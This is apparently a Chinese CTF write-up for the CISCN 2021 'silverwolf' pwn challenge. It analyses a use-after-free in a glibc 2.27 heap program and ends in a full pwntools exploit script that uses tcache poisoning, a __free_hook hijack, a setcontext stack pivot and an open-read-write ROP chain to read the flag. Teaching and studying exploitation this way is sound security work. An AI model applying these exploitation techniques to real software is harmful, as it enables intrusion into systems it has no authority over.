[CISCN 2021 初赛]silverwolf WP

一、题目来源

NSSCTF_Pwn_[CISCN 2021 初赛]silverwolf

image

二、信息搜集

通过 file 命令查看文件类型:

image

通过 checksec 命令查看文件开启的保护机制:

image

根据题目给的 libc 文件确定 glibc 版本是 2.27。

三、反汇编文件开始分析

程序的开头能看到设置了沙箱:

__int64 sub_C70()
{
  __int64 v0; // rbx

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v0 = seccomp_init(0);
  seccomp_rule_add(v0, 2147418112, 0, 0);
  seccomp_rule_add(v0, 2147418112, 2, 0);
  seccomp_rule_add(v0, 2147418112, 1, 0);
  return seccomp_load(v0);
}

通过工具可以分析出这个沙箱的作用:

ORW 被 ALLOW,那么本题的是不是和它有关呢?先打个问号。

根据输出提示,能知道程序的四大功能(exit 就不多说了):

puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");

逐一进行分析。

1、allocate

unsigned __int64 allocate()
{
  size_t v1; // rbx
  void *v2; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf(&unk_1144, &size);
  if ( !size )
  {
    __printf_chk(1, "Size: ");
    __isoc99_scanf(&unk_1144, &size);
    v1 = size;
    if ( size > 0x78 )
    {
      __printf_chk(1, "Too large");
    }
    else
    {
      v2 = malloc(size);
      if ( v2 )
      {
        qword_202050 = v1;
        buf = v2;
        puts("Done!");
      }
      else
      {
        puts("allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

虽然让我们指定了下标(index),但是根据代码 if ( !size ) 我们知道:若要成功申请 chunk,那么 index 就只能为 0。但是,这也就意味着,我们可以一直申请 chunk,只要指定 index 为 0。

三个信息点:

  • chunk 的大小是我们自己指定的,但是最大不超过 0x78size > 0x78 )。
  • 全局变量 qword_202050 会存放我们申请 chunk 的大小(不含 chunk header)。
  • 全局变量 buf 会指向 chunk 的 user data 部分。

2、edit

unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v3);
  if ( !v3 )
  {
    if ( buf )
    {
      __printf_chk(1, (__int64)"Content: ");
      v0 = buf;
      if ( qword_202050 )
      {
        v1 = (char *)buf + qword_202050;
        while ( 1 )
        {
          read(0, v0, 1u);
          if ( *v0 == '\n' )
            break;
          if ( ++v0 == v1 )
            return __readfsqword(0x28u) ^ v4;
        }
        *v0 = 0;
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

根据指定的下标,编辑对应 chunk 的 user data 部分。

两个关键信息:

  • 能够填入的内容的最大大小取决于全局变量 qword_202050
  • 输入结束,若要退出循环,则需要输入换行符(\n)作为结束字符,该换行符最终会被转变成空字符"\0"。

3、show

unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    __printf_chk(1, (__int64)"Content: %s\n");
  return __readfsqword(0x28u) ^ v2;
}

根据输入的下标,来输出对应 chunk 的 user data 部分。

对于 __printf_chk,这里单看 C 语言代码可能有点迷糊,可以结合汇编代码来理解:

.text:0000000000000F0D 018 48 8B 15 44 11 20 00          mov     rdx, cs:buf
.text:0000000000000F14 018 48 85 D2                      test    rdx, rdx
.text:0000000000000F17 018 74 13                         jz      short loc_F2C
.text:0000000000000F17
.text:0000000000000F19 018 48 8D 35 57 02 00 00          lea     rsi, aContentS                  ; "Content: %s\n"
.text:0000000000000F20 018 BF 01 00 00 00                mov     edi, 1
.text:0000000000000F25 018 31 C0                         xor     eax, eax
.text:0000000000000F27 018 E8 D4 FA FF FF                call    ___printf_chk

函数原型:

int __printf_chk(int flag, const char *format, ...);
  • flag:用于指定检查的级别。通常由编译器根据 FORTIFY_SOURCE 的设置自动传递。flag > 0 时,启用更严格的检查,例如限制 %n 的使用。
  • format:格式化字符串,与标准 printf 的用法一致。
  • ...:可变参数列表,与 printf 的参数一致。

从汇编代码中可以看出,第三个参数(放在 rdx 中)沿用了之前的 mov rdx, cs:buf

因此,该函数的 C 语言代码应该是:

__printf_chk(1,"Content: %s\n", buf);

4、delete

unsigned __int64 del()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    free(buf);
  return __readfsqword(0x28u) ^ v2;
}

根据指定的下标,free 指定的 chunk。但是,free 之后并没有进行指针置 NULL 的操作,因此存在 UAF 的风险。

四、思路

本题有个特点,就是你还未进行任何操作的时候,程序就已经申请了很多的 chunk 了:image

目前来看并没有可以利用的信息。

本题的思路就是:

  1. 通过 UAF 泄露堆基址;
  2. 通过 UAF 修改 Tcache bin 中的 chunk 的 fd 指针为 Tcache 管理块;(本 Glibc 版本还没有出现 Safe-Linking 机制)
  3. 将 Tcache 管理块 allocate 出来,伪造其中的 count 指针,来欺骗堆管理器(你的 bin 满了);
  4. free chunk 使之进入 Unsorted bin;
  5. 泄露 libc 基址;
  6. 因为,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot

五、Poc

1、四大功能的实现

def allocate(p,size,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'1')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Size: ',str(size).encode())
    
def edit(p,content,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'2')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Content: ',content)

def show(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'3')
    p.sendlineafter(b'Index: ',index)

def delete(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'4')
    p.sendlineafter(b'Index: ',index)

index 等于 0 的时候,这四个功能才有效果,因此可以设置成默认值。

2、泄露堆基址

申请一个 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指针的值 $\to$ 通过该值与堆基址的偏移量,得到堆基址。

假设,我们的目标是申请一个 chunk size 为 0x20 的 chunk。

通过动态调试,查看 bin 列表情况:image

根据 Tcache bin 的插入采用头插法和 Tcache bin 采用 LIFO 机制,我们首次申请会得到该链表的表头即上方红箭头指向的那个。

那么,free 之后,对应的链表应该还是老样子,其对应的 fd 指向的就是 0x59313a274790

现在,我们应该明白,为什么题目一开始要准备那么多的 chunk 了吧?

原因就是,在 allocate 操作之后,我们的 free 操作有且仅能有一次。那么,如果一开始 bins 干净,那么你经过上述操作之后,由于不存在 Safe-Linking 机制,你会得到 你申请的 chunk -> 0 这样的结果。这你就实现不了堆基址的泄露了。

本部分的 Poc:

allocate(p,0x10)
delete(p)
show(p)

p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_base = (leak >> 12 << 12) - 0x1000
success("heap_base: " + hex(heap_base))

3、劫持 Tcahce 管理块 + 泄露 libc 基址

我们的目的就是,通过劫持 Tcache 管理块,欺骗堆管理器说“size 为 0x250”的 Tcache bin 已经满了,然后再 free 一个 0x250 size 大小的 chunk 就可以成功让其进入 Unsorted bin,最后就可以照常泄露 libc 基址了。

先将管理块申请出来:

padding = 0x23
allocate(p,0x70)
delete(p)
edit(p,p64(heap_base+0x10)) # 注:Tcache 的 fd 指针指向的是 user data 部分,因此加上了 0x10。

allocate(p,0x70)
allocate(p,0x70) # 申请到 size 大小为 0x250 的 Tcache 管理块。

伪造:

payload = b'\x00'*padding + b'\x07'
edit(p,payload)
delete(p)
show(p)

关于 count 数组指针 index 的计算方式(Glibc-2.27):
$$
\text{Index} = \frac{\text{Chunk_Size} - \text{0x20}}{\text{0x10}}
$$

为什么我们的目标是 0x250 呢?

因为,Tcache 管理块的大小刚好就是 0x250,而且我们已经申请到了,直接 free 即可让其进入 Unsorted bin。

如果你已其他的大小为目标,那么你还得进行一次 allocate 操作,但是你的这个行为同样也会使得 count --,一来一回等于啥都没实现。

后面就是基本的泄露步骤了:

p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
libc_base = leak - offset - libc.symbols['main_arena'] 
success("libc_base: " + hex(libc_base))

4、找 ROP

free_hook = libc_base + libc.symbols["__free_hook"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]
setcontext = libc_base + libc.symbols['setcontext'] + 53
pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x43ae8
syscall = libc_base + 0xE5965
ret = libc_base + 0x8aa
flag_addr = heap_base + 0x1000
stack_pivot = heap_base + 0x2000
stack_rop = heap_base + 0x20a0
orw_addr1 = heap_base + 0x3000
orw_addr2 = heap_base + 0x3040

orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
        p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
        p64(syscall)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
        p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

5、刷新一下 Tcache 管理块

payload = b'\x01'*(64)
payload += p64(free_hook) # 0x20
payload += p64(flag_addr) # 0x30
payload += p64(stack_pivot) # 0x40
payload += p64(stack_rop) # 0x50
payload += p64(orw_addr1) # 0x60
payload += p64(orw_addr2) # 0x70
edit(p,payload)

Tcache bin 的头指针指向的 chunk 就是首先会被我们分配到的 chunk,据此可以进行一些指定。

之后,我们申请指定大小的 chunk,就会出来指定地址的 chunk。

注意,我们只有一次修改的机会(因为后续 allocate 操作会刷新 buf 指针,因而失去对其的控制),而且还要知道我们的申请大小有限。

6、__free_hook 劫持 + setcontext pivot

都是比较模板的操作。

首先,劫持 __free_hooksetcontext + 53 的位置:

allocate(p,0x10)
edit(p,p64(setcontext))

其中 setcontext + 53 对应的汇编代码我们可以通过 IDA 反汇编 libc 文件后找到:

.text:00000000000521B5 000 48 8B A7 A0 00 00 00          mov     rsp, [rdi+0A0h]
.text:00000000000521BC -08 48 8B 9F 80 00 00 00          mov     rbx, [rdi+80h]
.text:00000000000521C3 -08 48 8B 6F 78                   mov     rbp, [rdi+78h]
.text:00000000000521C7 -08 4C 8B 67 48                   mov     r12, [rdi+48h]
.text:00000000000521CB -08 4C 8B 6F 50                   mov     r13, [rdi+50h]
.text:00000000000521CF -08 4C 8B 77 58                   mov     r14, [rdi+58h]
.text:00000000000521D3 -08 4C 8B 7F 60                   mov     r15, [rdi+60h]
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00          mov     rcx, [rdi+0A8h]
.text:00000000000521DE -08 51                            push    rcx
.text:00000000000521DF 000 48 8B 77 70                   mov     rsi, [rdi+70h]
.text:00000000000521E3 000 48 8B 97 88 00 00 00          mov     rdx, [rdi+88h]
.text:00000000000521EA 000 48 8B 8F 98 00 00 00          mov     rcx, [rdi+98h]
.text:00000000000521F1 000 4C 8B 47 28                   mov     r8, [rdi+28h]
.text:00000000000521F5 000 4C 8B 4F 30                   mov     r9, [rdi+30h]
.text:00000000000521F9 000 48 8B 7F 68                   mov     rdi, [rdi+68h]
.text:00000000000521F9                                   ; } // starts at 52180
.text:00000000000521FD                                   ; __unwind {
.text:00000000000521FD 000 31 C0                         xor     eax, eax
.text:00000000000521FF 000 C3                            retn

精髓就在于 mov rsp, [rdi+0A0h],控制了 rsp 指针,我们就相当于实现了 stack pivot,而且由于 rdi 指针受控,rdi 指向的地址受控(可以用来写 ROP),通过最后的 ret 指令,我们就实现了“栈迁移 $\to$ ROP 触发”。

而且巧妙的是,setcontext + 53 后面的代码,并不会都影响到我们的 ROP,因为 ret 在最后,ROP 是最后触发的,因此会覆盖一些杂乱的数据。

但是,唯一需要注意的就是:

.text:00000000000521B5 000 48 8B A7 A0 00 00 00          mov     rsp, [rdi+0A0h]
……
……
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00          mov     rcx, [rdi+0A8h]
.text:00000000000521DE -08 51                            push    rcx

由于我们已经修改了栈顶指针,那么这里的 push 操作就不得不重视,经过 push 操作之后,栈顶中的内容变成了 [rdi+0A8h],如果其中没有精心构造数据,我们的 ROP 从一开始就夭折了。

但好在,巧就巧在这个位置 [rdi+0A8h] 就在我们存放 ROP 地址( [rdi+0A0h])的后面,我们可以顺带改造一番,通常的做法是将其改为 ret 指令的位置。

接下来,由于 open 函数需要的是地址参数,因此,我们要找个地方写入文件名:

allocate(p,0x20)
edit(p,b'/flag\x00\x00\x00')

本地测试的时候记得在根目录备一个 flag 文件。

接下来就是找个地方放 ROP:

allocate(p,0x50)
edit(p,orw[:0x40])
allocate(p,0x60)
edit(p,orw[0x40:])

ROP 比较长,分两个 chunk 进行存放。

随着,将 ROP 的地址绑定到触发位置(偏移 0xa0):

allocate(p,0x40)
edit(p,p64(orw_addr1)+p64(ret))

这里的 +p64(ret) 就完美解决了之前分析过的 [rdi+0A8h] 的问题。

设定 rdi 并触发劫持:

allocate(p,0x30)
delete(p)

此时就会自动执行我们布置好的 ROP,实现 ORW:

image-20251128212403210

7、完整 Poc

from pwn import *

exe = ELF("./silverwolf_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("node4.anna.nssctf.cn",28726)

    return r

'''
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
'''

def allocate(p,size,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'1')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Size: ',str(size).encode())
    
def edit(p,content,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'2')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Content: ',content)

def show(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'3')
    p.sendlineafter(b'Index: ',index)

def delete(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'4')
    p.sendlineafter(b'Index: ',index)

def main():
    p = conn()

    allocate(p,0x10)
    delete(p)
    show(p)
    
    p.recvuntil(b'Content: ')
    leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
    heap_base = (leak >> 12 << 12) - 0x1000
    success("heap_base: " + hex(heap_base))
    
    padding = 0x23
    allocate(p,0x70)
    delete(p)
    edit(p,p64(heap_base+0x10))

    allocate(p,0x70)
    allocate(p,0x70)

    payload = b'\x00'*padding + b'\x07'
    edit(p,payload)
    delete(p)
    show(p)
    
    p.recvuntil(b'Content: ')
    leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
    offset = 96
    libc_base = leak - offset - libc.symbols['main_arena'] 
    success("libc_base: " + hex(libc_base))

    free_hook = libc_base + libc.symbols["__free_hook"]
    read_addr = libc_base + libc.symbols["read"]
    write_addr = libc_base + libc.symbols["write"]
    setcontext = libc_base + libc.symbols['setcontext'] + 53
    pop_rdi = libc_base + 0x215bf
    pop_rsi = libc_base + 0x23eea
    pop_rdx = libc_base + 0x01b96
    pop_rax = libc_base + 0x43ae8
    syscall = libc_base + 0xE5965
    ret = libc_base + 0x8aa
    flag_addr = heap_base + 0x1000
    stack_pivot = heap_base + 0x2000
    stack_rop = heap_base + 0x20a0
    orw_addr1 = heap_base + 0x3000
    orw_addr2 = heap_base + 0x3040

    orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
            p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
            p64(syscall)
    orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
            p64(pop_rdx) + p64(0x30) + p64(read_addr)
    orw += p64(pop_rdi) + p64(1) + p64(write_addr)
    
    success("orw_length: " + hex(len(orw)))

    payload = b'\x01'*(64)
    payload += p64(free_hook) # 0x20
    payload += p64(flag_addr) # 0x30
    payload += p64(stack_pivot) # 0x40
    payload += p64(stack_rop) # 0x50
    payload += p64(orw_addr1) # 0x60
    payload += p64(orw_addr2) # 0x70
    edit(p,payload)

    allocate(p,0x10)
    edit(p,p64(setcontext))

    allocate(p,0x20)
    edit(p,b'/flag\x00\x00\x00')

    allocate(p,0x50)
    edit(p,orw[:0x40])
    allocate(p,0x60)
    edit(p,orw[0x40:])

    allocate(p,0x40)
    edit(p,p64(orw_addr1)+p64(ret))
    allocate(p,0x30)
    delete(p)
    
    p.interactive()

if __name__ == "__main__":
    main()
posted @ 2025-11-28 21:28  YouDiscovered1t  阅读(11)  评论(0)    收藏  举报